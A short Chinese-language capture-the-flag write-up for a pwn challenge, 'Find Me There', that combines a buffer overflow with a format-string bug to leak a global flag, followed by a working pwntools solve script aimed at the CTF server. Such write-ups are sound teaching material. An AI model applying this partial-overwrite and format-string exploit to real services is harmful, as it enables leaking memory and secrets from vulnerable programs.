# [CH] Find Me There ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 從 `chal.c` 可以知道這題在 `read(0, buf, 0x40)` 有一個 BOF,然後在 `printf(buf)` 這邊有一個 FMT,而且 `flag` 是一個全域變數,也就是說位址和 `main` 有同一個 base。 我們知道執行時會在 stack 上殘留一些有用的位址,而這個 binary 執行時 ![](https://hackmd.io/_uploads/HyR7ELNk6.png) 如果使用 `objdump -t chal` 去看 `flag` 和 `main` 的 offset 時 ![](https://hackmd.io/_uploads/ryktV8Vk6.png) 又題目會給 `main` 位址的最後兩個 bytes,所以只要用 BOF 把 `main` 位址的最後兩位寫成 `flag` 的然後用 FMT 把 `flag` 印出來就可以了。 Solve Script : ```python= from pwn import * context.terminal = ['tmux', 'splitw', '-h'] # r = process('./chal') r = remote('lotuxctf.com', 10008) main_addr_partial = int(r.recvline().strip().split(b': ')[1]) flag_addr_partial = main_addr_partial - 0x00000000000011a9 + 0x0000000000004010 r.send(b'%13$s\x00'.ljust(0x38, b'a') + bytes([flag_addr_partial & 0xff, (flag_addr_partial >> 8) & 0xff])) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}